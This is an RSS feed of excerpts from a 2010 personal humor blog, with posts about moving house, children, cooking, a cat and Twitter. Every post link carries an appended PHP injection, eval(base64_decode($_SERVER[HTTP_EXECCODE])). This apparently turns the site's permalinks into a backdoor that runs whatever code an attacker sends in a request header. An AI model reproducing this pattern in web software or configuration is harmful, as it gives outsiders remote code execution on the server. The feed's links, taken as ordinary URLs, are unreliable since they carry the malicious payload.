http://teresadifalco.com teresa difalco writes shopping lists, emails to her mom and award-winning greeting cards. (all true except the award.) buy her book when it comes out, the critics will rave. Mon, 02 Aug 2010 20:06:49 +0000 http://backend.userland.com/rss092 en First of all, I moved. Moving requires skill and organization, and a comfort with chaos and the rearranging of things. It's not my forte. The internet, for one thing, is not where it used to be. It's not there on my computer when I sit in my ... http://teresadifalco.com/2010/08/02/seven-ate-nine/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I'm eating my yogurt today with a fork. G. is furious with me this morning because she left her coat on the ground. She left it there yesterday and then it rained so she was forced to wear a different coat, the black nylon one with pink stripes. ... http://teresadifalco.com/2010/05/25/mishmash-and-applesauce/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Over on Twitter (ahem), Alice Waters is doing a webex from her kitchen and she's probably roasting a chicken, that's usually what she does, but the point is it's making me hungry. I'm not watching/listening to it, too bothersome, I'm reading the tweets. It's inspired me to make ... http://teresadifalco.com/2010/04/21/happiness-is-an-ashtray/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I like Cynthia Ozick. I do, I like her, I'm just saying. I also like this recipe, though I haven't yet tried it. For now I like the sound of it. And I like the cat, even though I didn't think I would and I like ... http://teresadifalco.com/2010/04/20/scruffy-sleeps-upside-down/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ The only thing to eat in my house is a white cheddar rice cake and pickles. I'm going to save them, though, to take to Laura's tomorrow for coffee. Pickles and coffee, no one's thought of it. I really can't see why. Yesterday morning my grass was four-feet ... http://teresadifalco.com/2010/04/19/im-here-today-for-laura/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Okay, I need you to do this, I mean it. I need you to sign up for Twitter and follow me. Right now! You think you have to write stuff, but you don't. You can lurk, it's not creepy. No need to be clever, you're ... http://teresadifalco.com/2010/04/14/im-going-to-three-putt-every-hole/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ My friend Laurie is nominated for an Eisner award for Best Reality-Based Work. You should threaten the judges with death and pain if they don't let her win. That's what I think. Eric is reading my blog today from Starbuck's in New York, he'll win a prize. I've ... http://teresadifalco.com/2010/04/12/the-reys-made-a-really-good-monkey/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I get a supreme sense of accomplishment every morning when I drop the kids at their school, for the most part clothed and intact. It's good to keep them around for that. I find similar affirmation when I manage to keep Scruffy fed, though the latter's been offset ... http://teresadifalco.com/2010/04/09/emma-found-charles-very-dull/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Hey, you guys. Yoo-hoo. Are you there, can you hear me? Yeah, I haven't been here for awhile. So, um, I thought I'd check in. How's it going, watcha doin'? Okay, okay, I ditched you for Twitter. I did, I know it's wrong. It ... http://teresadifalco.com/2010/04/08/absence-and-fonder-hearts-or-something/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ My son is talking to me about Pokeballs and Bakugans and Action Replay DS. It's making my head hurt and if he doesn't stop I'm going to make him diagram sentences. All week. It's dirty job day so I've vacuumed many ants. I've called them many obscenities, ... http://teresadifalco.com/2010/03/22/someone-should-have-to-do-it/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/